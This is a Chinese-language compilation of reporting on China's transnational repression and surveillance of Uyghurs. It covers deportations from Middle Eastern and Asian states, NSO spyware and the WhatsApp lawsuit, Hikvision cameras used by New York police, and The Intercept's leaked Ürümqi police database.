2017年，警方要求斯伊塔宏·阿布杜克日姆（Seyit’ahun Abdukerim）从吉尔吉斯斯坦回到阿图什，他和家人常在吉尔吉斯斯坦做中国布料生意。回国后，他被逼迫打电话给他的儿子易卜拉欣（Ibrahim）和埃兹米特（Ezimet），要求他们从埃及返回新疆。他们三人回到新疆后立即被警察拘留。Image 5: Countries listed in the Integrated Joint Operating Platform as being blacklisted. Image by UHRP.

沙特阿拉伯也出现在中国的 “可疑” 国家名单上，它也同样显示出与北京的合作日益密切。在过去四年中，沙特政府当局至少将六名维吾尔人驱逐回中国。这些被驱逐者要么是作为前往麦加朝圣的一员访问该国，要么是合法居住在该国。

2018年7月，沙特阿拉伯当局逮捕了奥斯曼·艾哈迈德·土赫提（Osman Ahmat Tohti），他是一名维吾尔人，一直与家人生活在土耳其。在移民之前，土赫提曾于2014年5月在其家乡新疆维吾尔自治区和田市被警方拘留，约两个月后被释放，这让他被列入 “可疑人员” 名单。他的企业随后倒闭，这导致他决定在第二年与家人一起合法移民到土耳其。2018年，他和家人前往沙特阿拉伯朝觐，在那里他被沙特当局

拘留了6个月；随后他于2019年2月被强行遣返回中国。

此次调查确认了另外三名在过去四年中被从沙特阿拉伯驱逐回中国的维吾尔人。巴蒂亚尔·哈吉（Bahtiyar Haji），来自乌鲁木齐的商人；亚库普江詹（Yaqupjan），来自和田；努鲁拉·阿布利米特（Nurullah Ablimit），来自喀什，最初是为了学习而搬到沙特阿拉伯居住。阿布利米特于2016年被沙特当局拘留并驱逐出境，这可能与他父亲阿布利米特·达毛拉莫兰（Ablimit Damollam）有关，他父亲是喀什地区著名的宗教学者，于2017年在警方拘留期间死亡，他的兄弟也被关在新疆维吾尔自治区。

沙特当局已经明确表示赞同中国对维吾尔人的政策。沙特王储穆罕默德·本·萨勒曼（Mohammad bin Salman）在2019年2月对北京进行国事访问时，发表公开声明，支持中国以反恐的名义针对维吾尔人。**2020**年，该国与其它**45**个国家一起签署了一份支持中国在新疆维吾尔自治区开展大规模拘留运动的信函。

根据此次调查的上限估计，自2017年以来，有682名维吾尔人在埃及、印度尼西亚、哈萨克斯坦、吉尔吉斯斯坦、巴基斯坦、卡塔尔、俄罗斯、沙特阿拉伯、叙利亚、塔吉克斯坦、泰国、土耳其、阿联酋和乌兹别克斯坦被拘留—— 这些国家都出现在 “一体化联合行动平台” 的国家黑名单上。

阿联酋在2018年宣布与中国建立 “全面战略伙伴关系”，并签署了2019年的联合国信函，支持北京在新疆维吾尔自治区的政策，这导致很多在该国的维吾尔人担心他们未来是否安全。

侯赛因·伊明托赫提（Huseyin Imintohti）最后一次与他妻子联系是在2017年10月12日，他在迪拜向联合国难民署提交申请后就失联了。他妻子尼加尔（Nigare）联系了他室友，他室友证实她丈夫被拘留了。她担心他可能已经被强行驱逐回中国。艾哈迈德·塔利普（Ahmad Talip）（又名艾哈迈詹·阿卜杜拉 Ahmetjan Abdulla）与家人在阿联酋生活了六年，2018年他去警察局为其兄弟取一些文件后被捕。在被监禁期间，他告诉他妻子，迪拜警方应中国政府的要求从他身上提取了血样。

迪拜法院判决艾哈迈德先生应该被释放，但当他妻子去接他时，她得知他已被转移到了另一个监狱，被国际刑警组织关押。她向国际刑警组织和联合国呼吁释放他，但没有成功；迪拜的官员威胁她说，如果她继续闹下去，将拘留她和他们全家并将他们驱逐到中国。塔利普再次被转移，此后她再也没有他的消息。她被告知他已被驱逐到中国，

并在最后一次转移的两天后被监禁。

摩洛哥也已成为维吾尔人遭受跨国镇压的潜在来源，尽管它没有出现在新疆维吾尔自治区安全官员认为“敏感”的26个国家名单上。2019年，22岁的维吾尔人和中国公民阿布立金·阿布拉（Ablikim Abla）在前往德国的途中，在摩洛哥机场被警察逮捕。他被告知，他可能会被驱逐到中国。阿布拉的父亲在中国被判处10年监禁，因为他在2016年将阿布拉送到土耳其这个黑名单上的国家学习。

中国对中东地区越来越重视的原因可能是过去十年土耳其的政治发展。自20世纪50年代以来，数千名逃离中国迫害的维吾尔人在土耳其找到了庇护所，他们在土耳其有共同的文化和传统。今天，估计有5万名维吾尔人生活在那里 —— 这是中亚以外世界上最大的维吾尔人散居社区。

土耳其在历史上一直为维吾尔人辩护，使其与中国的关系变得日益紧张。例如，在2009年乌鲁木齐事件之后，土耳其总统雷杰普·塔伊普·埃尔多安（Recep Tayyip Erdogan）称中国对该事件的处理是“种族灭绝行为”。

2014年11月，中国警方声称破获了一个由土耳其领导的为维吾尔人提供假护照的团伙，并指责土耳其情报部门帮助维吾尔人加入叙利亚的武装分子，双方关系进一步恶化。后一种说法已成为两国双边关系中的一个难题，并推动了中国在整个地区的安全化叙事，使维吾尔难民处于危险之中。

早在2012年10月，中国的官方媒体就宣称在叙利亚有维吾尔族战士，他们可能是由最近移民到土耳其的人组成的团体。到2015年，很明显，突厥斯坦伊斯兰党（TIP）在叙利亚有一支活跃的军队，包括由母亲和儿童组成的整个定居点。据肖恩·罗伯茨（Sean Roberts）说，有强有力的传闻证据表明，土耳其参与了帮助将维吾尔族难民输送到那里。

2010年至2016年，多达3万名维吾尔族难民抵达土耳其，他们通过东南亚的人口贩运网络，以及通过2015年至2016年短暂的中国护照计划，让心怀不满的维吾尔族人逃往土耳其。据罗伯茨说，维吾尔人有很多原因在叙利亚定居。抵达土耳其后，大多数维吾尔人既没有获得正式的难民身份，也没有获得公民身份，使他们处于一种政治上的迷茫状态，这使他们更容易被TIP招募。

尽管他们的总人数在很大程度上还不为人知，但叙利亚驻华大使在

2017年声称有多达5000名活跃的TIP战士，而以色列情报部门认为这一数字为3000人。虽然这些团体的存在会有一些影响，但他们对中国的国家安全构成严重威胁的可能性极小，当然也不能成为新疆维吾尔自治区目前大规模镇压运动的理由。此外，很明显，普通的维吾尔族难民承担着这些激进组织存在的代价，这些组织加强了中国在国外的恐怖言论，并为外国政府积极配合中国对突厥人的跨国镇压提供了新的压力来源。

近年来，土耳其除了增加对维吾尔人的引渡、拘留和监视外，还大大软化了其对维吾尔人的言论支持。今年1月，驻土耳其的维吾尔人在中国驻伊斯坦布尔领事馆前举行了数月的抗议活动，试图寻找失踪家人的信息，但警方以所谓的安全问题和 Covid-19 问题为由禁止了这些集会活动。而更有可能的原因是，土耳其政府担心此举会激怒中国政府。

在中国驻安卡拉大使馆外的另一次抗议活动也被迅速叫停，在中国指责抗议者散布假新闻后，其活动人士被拘留。158不久之后，土耳其内政部长苏莱曼·索伊鲁（Süleyman Soylu）警告抗议者“避免成为一场有计划国际冲突的牺牲品，这场冲突来自海外”，强烈暗示新疆维吾尔自治区大规模镇压的说法是美国和中国之间大国竞争中政治伎俩的一部分。土耳其政府尚未发表声明谴责中国大规模拘留维吾尔人的行为。

除了对这种不断变化的言辞表示震惊外，土耳其的维吾尔人还表示越来越担心，中国正在向该国提供 Covid-19 疫苗，以换取埃尔多安（Erdogan）于2017年5月在参加北京的一个“一带一路”论坛后签署的一项有争议引渡法案的通过。2020年12月26日，中国人民代表大会常务委员会突然批准了2017年的法案，人们猜测土耳其议会也将采取行动，将该法案纳入法律。

过去三年来，土耳其政府的其它行动似乎表明该国对其维吾尔少数民族的态度有所转变。在 Axios 报道的一项被泄露的2016年引渡请求中，中国官员要求引渡一名维吾尔族手机供应商，指控他在网上宣传伊斯兰国（IS）恐怖组织。该商贩之后被逮捕，但最终被释放并洗脱罪名。

土耳其当局在过去几年中还两次拘留了维吾尔族诗人阿卜杜勒希姆·帕拉希（Abdurehim Parac）。不断上升的恐惧已经促使许多维吾尔人在欧洲重新选地定居。赛里克詹·比拉什（Serikzhan Bilash）和他的家人于2020年9月逃离哈萨克斯坦前往土耳其，在那里他建立了一个新的人权组织，他最终在美国重新定居。

越来越明显的是，对于来自维吾尔族地区的难民来说，土耳其不再是曾经的安全港。调查的数据显示，自2017年以来，土耳其拘留或引渡的人数越来越多（截至公布时）。

然而，其规模可能远远大于此次调查数据集所显示的数字，而且2019年的数字因大规模驱逐出境而有所偏差。美国国家公共广播电台（NPR）在2020年3月报道，仅在2019年就有200至400名维吾尔人在土耳其被拘留。调查决定将 NPR 估计的200人这一保守数字纳入上限估计。至少在几个案例中，土耳其还通过第三国引渡了维吾尔人。例如，2019年8月，土耳其将一名维吾尔族妇女和她的两个孩子驱逐到塔吉克斯坦，然后从那里将这一家人转移到中国。据称，还有五六名维吾尔人与她同机，但无法独立核实这一信息。

2015年，印度尼西亚政府逮捕了四名维吾尔人：阿卜杜勒·巴希特·图泽尔（Abdul Basit Tuzer）、艾哈迈德·博佐格兰（Ahmet Bozoglan）、艾哈迈德·马哈茂德（Ahmet Mahmud）和阿尔廷奇·巴依拉姆（Altinci Bayram），声称他们持假护照入境并试图加入印度尼西亚东部圣战者组织，这是一个与 IS 有联系的组织。这四人被判处六年监禁，并被罚款1亿卢比（6812美元）。

2020年9月，中国政府支付了他们的罚款，并将他们引渡回维吾尔地区，他们被拘禁在那里。印度尼西亚作为世界上最大的穆斯林国家，一直充当着其他难民群体的安全避难所，包括逃离缅甸的罗兴亚难民。然而，在中国政府说服印尼政府此举是为维吾尔人好后，印尼政府采取了不干涉其认为的 “国内事务” 的政策。

印尼的这些案件可能代表着东南亚地区镇压力度开始加大。然而，2020年9月，马来西亚部长 Mohd Redzuan Md Yusof 宣布，马来西亚将不再向中国引渡维吾尔族人，在本已紧张的关系中制造了一个新的争论点。此后，马来西亚策划了一条更加亲中国的路线，与中国政府签署了一份谅解备忘录，以深化两国在后 Covid-19 时代的合作。

VII. 总结

「图」

中国政府迫害维吾尔人的运动在规模上确实是全球性的，包含一系列的做法，包括骚扰、监视、拘留和引渡。通过这些做法，中国政府能够跨越主权边界对维吾尔人进行镇压和控制。自1997年以来，中国对维吾尔人的跨国镇压一直在加强。从中国不断发展的跨国镇压体系的第一阶段（1997–2007年），共有来自9个国家的89名维吾尔人被拘

留或遣送回中国；在第二阶段（2008–2013年），有来自15个国家的130人被镇压；在最后阶段（2014–2021年3月），共有来自20个国家的1327人被拘留或引渡。此次调查想再次强调，这些数字只限于调查能够核实的报告数字。未报告的案件很可能会大大超过这些数字，而这个数据库所呈现的只是冰山一角。

跨国镇压构成了更广泛“全球威权主义”模式的一部分，因为像中国这样的专制政权积极地寻求相互合作，并重新利用各种机构来保护自己不受侵犯人权行为的问责。强大的专制国家试图淡化各种国际组织的民主层面，并将“法制”（rule by law）植入这些机构，如在联合国人权理事会内重新定义人权，在联合国推广“网络主权”，以及寻求削弱欧洲安全与合作组织的选举监督能力。这影响深远，因为它侵蚀了全球的民主规范。通过这些策略，像国际刑警组织这样的组织以及东道国政府，可能会成为促成中国对已经受到迫害的个人 —— 其中许多人正在国外寻求庇护 —— 开展全球行动的同谋。这种做法正在成为常态。阻止这种跨国镇压是道义上的需要。当中国政府在国外镇压其公民而不受惩罚时袖手旁观，也破坏了国家保护其境内人员，包括本国公民的可信度。

中国的跨国镇压违反了很多国际条约。不驱回原则，即难民或寻求庇护者不应被强迫遣返回他们可能遭受迫害、酷刑或虐待国家的原则，载于《禁止酷刑和其它残忍、不人道或有辱人格的遭遇或处罚公约》（CAT）和《保护所有人免遭强迫失踪国际公约》（ICPPED）。然而，中国已经开始通过其区域组织，如上海合作组织，侵蚀这一原则，这些组织制定的引渡协议没有提及人权问题。

收容侨民的国家可以帮助打击跨国镇压。他们可以拒绝将维吾尔人引渡回中国，增加配额，加强对难民和寻求庇护者的保护，并限制助纣为虐的网络，如间谍软件公司和作为中国政府幌子的侨团。

每个阶段的镇压都显示了维吾尔地区内部和外部关系之间的联系，在巴仁（1990年）和伊宁（1997年）动乱之后，镇压跟随难民网络来到中亚和南亚。在第二阶段，中国利用北京奥运会的声望在全球范围内扩大了它的镇压范围，然后在2009年乌鲁木齐事件之后，中国政府跟随维吾尔族难民网络大规模地扩大了在东南亚的镇压。最后，在2014年昆明大屠杀之后，中国在很大程度上破除了这些网络，将注意力转向土耳其、叙利亚和更广泛的中东地区，并作为中国国家主席兼党总书记习近平的人民反恐战争的一部分。自2017年以来，中国开始了一场史无前例的大规模镇压运动，针对与新疆维吾尔自治区安全官员认为可疑的26个国家有联系的维吾尔人。在此期间，调查记录了695起维吾尔人被驱逐或拘留的案件，并能够独立核实其中168人。

与中国的政治和经济联系也显示出与跨国镇压的密切关系。中国的全球经济崛起和其巨大的全球基础设施项目“一带一路”倡议（BRI）的启动，为跨国镇压创造了前所未有的空间。在中国对维吾尔人使用跨国镇压最频繁的10个国家中，中国是其中4个国家（巴基斯坦、吉尔吉斯斯坦、柬埔寨和缅甸）的最大债权人，中国对这些国家施加压力，以人权交换经济机会。

在其它压迫日益严重的国家，如埃及、土耳其和更广泛的中东地区，中国通过“一带一路”相关项目和基础设施建设成为其重要的经济伙伴。随着中国通过“一带一路”在全球范围内扩大其作用，更多的国家可能会因为“一带一路”项目而更加依赖中国，从而提高了中国胁迫或拉拢这些国家的能力，以协助镇压散居人员和流亡者。如果不加以制止，中国对维吾尔人的全球战争将继续扩大，并像过去五年那样快速发展。

在这里看到这份调查报告的详细内容：No Space Left to Run: China’s Transnational Repression of Uyghurs

○

原文

无论在任何地方，民权活动人士都在受到监视 - iyouport

以色列和NSO-间谍产业的领主维稳面面观

【2020年4月9日存档】技术没有国界，当 “便利性” 全球共享的时候，侵害也是全球共“享”的。这些邪恶的监视技术公司让跨国的追踪和迫害变得前所未有地容易

多伦多大学公民实验室的高级研究员 John Scott-Railton 是致力于对抗网络监视的数字和人权研究小组成员，多年来一直在研究以色列臭名昭著的 NSO 集团。

他和他的同事持续发表了很多有关该公司监视技术及其用于监视人权活动家、政治反对派成员和新闻记者的方式的报道。

- 在这里看到专栏 “关于以色列和NSO”

但是，尽管这些报告一直在成为头条新闻，但变化不大，并且NSO不受限制地继续运营。

最近情况发生了些变化，加密的消息传递应用程序 WhatsApp 及其母公司 Facebook 起诉 NSO 及其位于卢森堡的子公司 Q Cyber TechnologiesLtd。

这家寡头公司称 NSO 使用 WhatsApp 服务器向大约1,400台设备分发恶意软件，目的是监视某些 Whatsapp 用户。

Scott-Railton 在最近接受 Calcalist 采访时说，一直以来，这家间谍软件公司已经成功阻止了人权组织遏制它们的尝试，甚至难以在法律体系内开展工作。“但是现在情况似乎好转了。”

- 《美国公关公司为以色列间谍软件巨头服务》

Scott-Railton 是“公民实验室”团队的成员，该团队帮助 Facebook 调查了 NSO 的黑客行为并确定了受害者。

他说，在《金融时报》首次报道此事之后，公民实验室自愿帮助 WhatsApp 进行调查，最终在**20**个国家发现了至少**100**例感染，这些国家的民权主义者成为目标，完全与执法无关。

- 在这里看到《政府能否摆脱其在公民身上使用WhatsApp间谍软件的嫌疑？》

Scott-Railton 说，发现的目标包括新闻记者、知名新闻主播、学者、政治反对派成员、民权律师、在线暴力的受害者，以及不同信仰的宗教领袖。

在某些情况下，被 **NSO** 恶意软件定为目标的人还是暗杀企图的目标、甚至其家人也成为了目标。

NSO一直对批评作出回应，称其仅向政府和执法机构出售其技术，其道德规范禁止使用该技术跟踪人权活动家。

根据 Scott-Railton 的说法，这是该监视技术公司的一种众所周知的策略，他们希望与政府合作享有声誉，且不希望承担为政府提供这种破坏性工具所带来的责任。

他说，通过 WhatsApp 的诉讼清楚表明 NSO 并没有像其声称的那样将恶意使用从其实践中剔除，并因此承担了责任。他补充说，这是一个先例。

公民实验室已追踪数字威胁超过15年，主要关注中国政权及其对西藏人民和其他少数民族的伤害。

Scott-Railton 解释说，近年来，公民实验室记录了一种日益严重的现象，即 某些无法开发自己的监视技术的政府向私人监视公司购买了该技术。

公民实验室进行了广泛的研究以了解问题的范围，并意识到无论公民活动家在任何国家，都会遭到严重的监视。

像 NSO 这样的组织通过声称执法部门的监视使用是 “合法的” 来证明其技术的合理性，但是，Scott-Railton 说，还有第三面：某些国家使用该技术监视其他国家。

问题不是我们是否可以接受在某些情况下可能用于合法目的的技术也用于非法目的，而是，越来越多的国家使用复杂的监视工具对付他们想要的任何人的能力如何损害了全球的网络安全，他说。

多年来，人们一直受到NSO间谍软件的伤害，而受害者的证词被轻描淡写，Scott-Railton 说。

在去年早些时候 NSO 的自我“开放”之后，该公司开展了一项广泛的宣传活动，承诺 “将翻开新的一页”。在下面看到当时的报道：

- 《金榜不要脸》

Scott-Railton 说，这场诉讼本身就是对人权和隐私权的胜利，很明显，该行业不愿也无力维持真正的安全。

具有一定讽刺意味的是，是 Facebook 这个丑闻缠身的监视资本家，现在正在领导对NSO的指控。

Scott-Railton 认为，人们应该总是问这些公司是否为我们的利益而努力。撇开 Facebook，WhatsApp 已将加密技术集成到其产品中，在这种情况下，它不仅表示正在采取行动保护用户，还积极将侵害行为提上法庭。

Scott-Railton 解释说，像 Facebook 这样的公司都有自己的机制，使政府和执法机构能够 “以合法方式” 申请信息。

- 《“每家公司都有给警察留的后门”，现在它正在被滥用于监视》

底线很明显，政府使用NSO的技术不仅仅是为了NSO在其章程中所写的目的。即使将该技术用于抓捕罪犯等合法目的，法院仍关注的是是否违反了法律。〇

Anywhere You Look, Civil Rights Activists Are Surveilled, Says Citizen Lab Researcher

原文

欢迎来到纽约！迎接老大哥 - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

纽约市警察局正在使用中国开发的监视相机和面部识别软件监控所有市民

「图」

「图」

纽约市警察局正在使用中国开发的监视相机和面部识别软件监控所有市民。#Surveillance 该监控工具与中国最大的视频监控系统 Sky Net(天网)相同，中国政府研究机构和参与该项目的公司表示。

就当中国和美国在包括贸易和技术在内的多个方面陷入竞争的时候，中国的海康威视—全球最大的监控技术公司—提供监视设备和软件被一支美国警察部队使用，监视着大约**860**万人口。关联以前的文章：

- 为中国大型“集中营”提供监控摄像头的中国科技巨头海康威视（Hikvision）得到了美国朋友的大力帮助。公关巨头博雅公关公司(Burson-Marsteller)在帮助海康威视的美国子公司完成“战略规划和指导”等任务。游说公司 Sidley Austin 任命前14届国会议员 Rick Boucher (D-Va.) 帮助海康威视公司反击美国对他们的监控摄像头的禁止《可怜正义没有钱》

有人声称，海康威视的系统无论种族如何都能准确识别人脸，而一些西方开发的技术对有色人种很难做到准确识别—尽管纽约警察局尚未讨论使用中国技术的原因。

天网计划，现更名为“平安城市”，据称去年在中国连接了1.7亿台摄像机。据称，到 2020 年，还将安装另外4亿个，密切关注每个公民的一举一动。北京计划在三秒钟内随时随地识别中国的任何人。

根据海康威视网站的数据，自**2014**年以来，数千台 **Sky Net** 摄像机在人工智能（**AI**）软件的帮助下对 **River Park** 进行了监控。

摄像机配备红外传感器，即使在非常暗的光线下也能捕捉高分辨率的面部图像，这些摄像机被安装在入口、大厅、走廊和楼梯间，以防止故意破坏。

根据安全产品杂志的一篇文章，海康威视监控系统由 River Park Towers 物业管理公司购买并安装，纽约警察局可直接访问该网络。文章称，警方可以远程观看镜头，并在当事人不会察觉的情况下密切监视任何人。

海康威视的软件可以通过面部、身材或步态，发现并跟踪一个人，可以准确识别所有肤色的人。而包括微软和 IBM 在内的技术公司大多使用白人来培训他们的 AI。中国的监视技术为什么能识别有色人种，原因如下：

- 《非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家》

在纽约网络中使用中国相机和监视软件的确切程度尚不得而知，但根据中国当局起草的文件以及官方文件显示，海康威视的监视产品被纽约警局用于“大规模”布设。

- 延伸阅读：《🔭 中国版老大哥的世界之旅》
- 中国当局如何钟情于本土老大哥《是谁在为中国政府的监视社会系统提供技术支持？》
- 全球监视技术市场分布图《是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》
- 至少在 1984 的世界里，切勿小看了中国《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》
- 看看谁在作恶《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

和很多其他国家的老大哥一样，中国企业还向那些明显缺乏基本人权保证的政府提供高科技监视工具。在自由之家评估的 65 个国家中，有18个国家，正在被中国的 Yitu、海康威视和 CloudWalk 等企业提供结合了人工智能和面部识别技术的监视系统布设，创建能够识别“公共秩序”威胁的系统。更多详细内容：《数字威权主义的兴起: 灾年之畔》

⚠ 根据中国政府的文件，海康威视的产品和技术已在美国各地使用。其中包括**3,813**公里（**2369**英里）的美国**1**号公路，这是美国最长的

南北向公路，连接东海岸的主要城市。

纽约警察局于2017年5月被华盛顿乔治城大学的隐私和技术中心起诉，此前该部门拒绝回应“信息自由法案”对其面部识别计划细节的公布要求。

The Chinese technology helping New York police keep a closer eye on the United States' biggest city. China is exporting its cutting-edge facial recognition across the Pacific. Hikvision's software, which can spot and follow a person by face, figure or gait, can accurately identify people of all skin tones. Hikvision products and technology have been used across the US, according to the Chinese government document. This includes the 3,813km (2369 mile) US Route 1, the United States' longest north-to-south road, connecting major cities on its east coast

原文

泄露：中国庞大的警察数据库 - iYouPort

关于中国社会维稳面面观

数百万泄漏的警察档案详细记录了对中国维吾尔族人口的监视

「图」

「图」

该命令是通过中国西北新疆地区最大的城市乌鲁木齐的一个警察自动化系统发出的。该系统发布了一份报告—— 当地政府称之为 “情报信息判断”—— 称一名据称是极端分子的人的女性亲属获得了前往南方风景如画的省份云南的免费旅行机会。

这名女子是在智能手机消息应用微信上发现这一消息的，在一个简称为 “旅行者” 的群里。当局以民族身份和家庭关系为由对这个群组进行了归纳，其成员包括维吾尔族、哈萨克族和柯尔克孜族等穆斯林少数民族，他们说的语言除了中国最主要的语言普通话之外，还有其他民族语言。“这个群体有200多个使用民族语言的人”，该命令说，“他们中的许多人是被监禁者的亲属。最近，许多情报报告显示，[极端分子]的亲属有聚集的趋势。这种情况需要引起高度重视。接到此信息后，请立即进行调查。查明这个叫 「自由旅行」群组中的成员的背景、动机和活动的具体细节。“

位于历史悠久的市中心附近的乌鲁木齐市西河坝分局的警方接到命令后，在2018年的工作报告中进行了总结。因该命令而被围捕的一个人是维吾尔族人，之前没有犯罪记录，从未听说过那个微信群，甚至从未在中国境内旅游过。

警方写道，他 “行为良好，我们没找到任何嫌疑”。不过，他的手机还是被没收了，被送到了警方的 “网络安全部门”，社区要对他进行 “稳控”，也就是说，政府会指派一名信得过的干部成员定期到他家去家访。有关他的记录被输入了警方的自动化系统。

根据他们的记录，警方似乎对这名男子进行了调查，并指派干部成员对他进行“稳控”，完全是因为他的大姐在五个月前进行的宗教活动。根据警方的记录，他的姐姐和其丈夫邀请了乌鲁木齐的另一对维吾尔族夫妇加入了短信应用腾讯QQ的宗教讨论群。另一对夫妇买了一台笔记本电脑，每天从早上7点到晚上11点半间登录该群，他姐夫停止了吸烟和喝酒，他大姐开始穿更长的衣服。警方报告称，他们开始用笔记本电脑收听“宗教极端主义信息”。在这两对夫妇之间，警方找到了168个被认为是“非法的”宗教音频文件，很可能是因为它们与一个伊斯兰运动 Tablighi Jamaat 有关，该运动主张按照先知穆罕默德在世时的做法来实践伊斯兰教。

大姐和姐夫的命运不明，该报告只说他们被转到了另一个警察局。另一对夫妇则被送往“再教育营”。

这些调查的细节包含在 Intercept 获得的一个庞大的警方数据库中：该数据库是私人防务公司 **Landasoft**（上海蓝灯数据）开发的报告工具的产物，该工具被中国政府用来方便警方对新疆公民的监控。

该数据库以乌鲁木齐为中心，包括了一些警务报告，这些报告证实并提供了有关该地区迫害和大规模关押穆斯林人口的许多细节。该数据库进一步揭示了一场镇压运动，据报道，该运动在私人公民家中安装摄像头，建立了大规模拘留营，儿童被强行与家人分离并被安置在装有铁丝网的学前班里，有计划地破坏维吾尔族的墓地，以及有计划地通过强迫堕胎、绝育和节育来压制维吾尔族的生育。

「图」

「图」

The database obtained by The Intercept contains police reports from Ürümqi, the capital and largest city in China’s Xinjiang Uyghur Autonomous Region.

这些数据提供了警方情报档案和社区辅警会议的内幕，以及乌鲁木齐市普遍存在的检查站的运作情况。它还详细介绍了对边缘化群体的电话、网络和财务的监控，显示为所谓的监视极端主义的精细监控往往只是在观察宗教活动。

此外，该数据库还阐明了中国当局如何分析和完善他们收集的信息，包括试图剔除警方和公民线人提交的“填鸭式”情报线索以夸大数字，并使用自动化警务软件帮助促使调查，比如对微信“旅游群”的

调查。

该数据库还透露了关于广泛使用的一种插入手机以下载手机内容的工具 —— 所谓 “反恐利剑” 的信息，这种工具的部署如此频繁，以至于中国当局担心它正在疏远民众。它显示了当局追踪公民的政策如何成功地降低清真寺的出席率；它还提供了证据，证明当局坚称的 “全民体检” 生物识别数据采集计划不只是一项 “健康举措”，其目的是作为治安系统的一部分。而且它量化并提供了在新疆进行的广泛电子监控的细节，包含数百万条短信、电话记录和联系人名单，同时还有银行记录、电话硬件和用户数据，以及微信监控、电子商务和银行记录的参考资料。

该数据库还揭示了新疆的治安和拘留程度。它详细说明了出国并申请政治庇护的前居民如何被标记为 “恐怖分子”。在某些情况下，似乎对被关入再教育营的人被判处有期徒刑 —— 这削弱了政府所宣称的这种拘留期限 “只是思想改造或职业培训” 的解释。

「图」

「图」

Surveillance cameras are mounted to the exterior of a mosque in the main bazaar in Ürümqi, Xinjiang, on Nov. 6, 2018

综上所述，这些材料提供了一个广泛的概述，说明了在新疆部署的大规模监视系统是如何协调性压制少数民族人口的，以及它们如何广泛地影响了该地区的日常生活。

“总的来说，这证明了一个令人难以置信的警察国家，这种监视很有可能将怀疑置于没有真正做错任何事的人身上”，专注于新疆和西藏的人类学家和研究人员 Adrian Zenz 说。

人权观察组织中国高级研究员 Maya Wang 说，源于微信 “旅行者” 群的调查为这种高强度的维稳提供了一个具体的例子，“你可以看到这里面的糊涂思维，人们白白地被关进监狱，但过程也是如此武断。”

这些揭露凸显了新疆是如何利用新生技术的，如智能手机、廉价的数码摄像系统、和大规模在线存储数据，在公民自由的担忧被推到一边时，这些技术如何结合起来监控和镇压大量的人群。

“新疆的大规模监控对我们所有人来说都是一个警示”，Wang 说，新疆真正说明了隐私是一个门槛权，如果你没有隐私，就没有任何自

由。你没有信仰宗教的权利，你没有做自己的权利，你甚至没有思考自己想法的权利，因为你的想法被这些不间断的审查解析出来，被监控系统不断的监控，不断的评估你对政府的忠诚度”。

Landasoft 和中国外交部没有回应置评请求。

「图」

「图」

上图中这本书在这里下载：《如今，这是一个遍地都是集中营的世界》。

乌鲁木齐公安局的中央存储

Intercept 获得的数据库似乎由乌鲁木齐市公安局和更广泛的新疆公安局共同维护和使用。该数据库还包含了国家互联网安全部门各单位的文件。

Landasoft 将似乎是该数据库背后的软件命名为 “iTap”，这是它公开销售的一个大数据系统。

该数据库有52千兆字节，包含近2.5亿行数据。这些数据来自各种应用程序的反馈，其中可确认的大约有十几个应用程序似乎与该数据库有关联。这些应用包括：

- “净网卫士”，一个监控手机上文件的应用程序。据报道，中国警方已经强迫维吾尔人下载；《如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？》
- “百姓安全”，似乎被公民和警察使用，包括让公民充当线人彼此监视并向当局举报。
- “取证数据管理”，它从微信和 Outlook 等应用中收集 “证据”；
- “ZhiPu”，以图文并茂的界面展示人们之间的关系和当局对他们的监视程度（这个数据库中关于 ZhiPu 的信息很稀少。我们不知道这个应用程序的中文名字应该怎么写）。

该数据库的主要组成部分之一是广泛收集 “社区稳定” 会议的会议记录，在这些会议上，事实上的辅警或由公民线人组成的社区警察讨论前一周在其所在地区发生的事。该数据库还载有各种相关文件，概述了警务和情报方面的优先事项，以及收集的情报摘要、检查的当地设施、访问的被拘留者家属、以及社区内有关人员的最新情况。还有每

周的情报和拘留报告，其中包括关于线索调查和可疑人员的信息。

「图」

「图」

Left: A police-issued smartphone. Right: Login screen for one of the apps on the smartphone, Public Safety App

该数据库也提供了许多其他工具的信息，用于分析其中包含的数字监控。例如，数据库中的文件提到了一个名为“综合联合行动平台 IJOP”的政府系统。IJOP 一直是人权组织广泛关注和讨论的主题，它收集了有关新疆居民的监控数据，集中存储，并利用它做出自动化警务决策，数据库中称之为“推送”或推送通知。IJOP 就是警方所说的发布命令调查微信旅行群的平台。

其他文件给出了使用“三类人”标签的信息，这些人被认为是恐怖分子或极端分子，“有三种不同程度的严重性”。

数据库本身反复使用标记查询维吾尔族人，“iXvWZREN”，将其与恐怖分子和前科人员归为一类。而对于中国的多数民族汉族，则没有任何标记。

「图」

「图」

A computer monitor shows many faces at an inspection point in Kashgar, Xinjiang, on June 28, 2018.

从检查点到在线聊天监控

众所周知，新疆的监视范围很广，形成了世界上受监视最严重的地区之一。该数据库揭示的是这台间谍机器是如何被使用的：监控在当地是什么样子的（毫不留情），以及它的具体目的是什么（往往是为了遏制任何未经批准的影响，从伊斯兰教的实践到外国的思想）。

人们被近距离监视，有些信息直接从他们的数字设备中“吸出”，其他数据则从窃听器和传感器中收集，还有更多的信息来自社区的亲属和政府线人。

在警方的文件中，针对维吾尔人及信奉伊斯兰教的人的监视运动以鲜

明且咄咄逼人的措辞铺陈开，对外界或其他多种“恶性影响”的偏执也一再表现出来。

该数据库中一些最具侵犯性的数据来自那个名为“反恐利剑”的电话监视工具。遍布整个城市的检查站的警察，让人们把手机插进这些来自不同厂家的"取证设备"。它们会收集手机中的个人数据，包括联系人和短信，还会对照违禁物品清单检查图片、视频、音频文件和文档。这种监视工具可以显示微信和短信文本信息。然后将提取的数据整合到**IJOP**中。

2018年一份来自于乌鲁木齐市中心东北部的一个街区的报告提到，当局在3月的一周内就对1860人进行了“反恐利剑”的搜查。在同一份报告中，详细描述了4月份的一个星期，该地区有2057人被检查手机。根据政府的统计，该地区约有3万人居住在七道湾街区。

这种警察频繁拦截的模式在乌鲁木齐的其他地方也能看到。该文件讨论了警察在一个晚上检查人们的手机多达三四次，这让民众难以保持良好的状态，人们显然变得很烦躁。

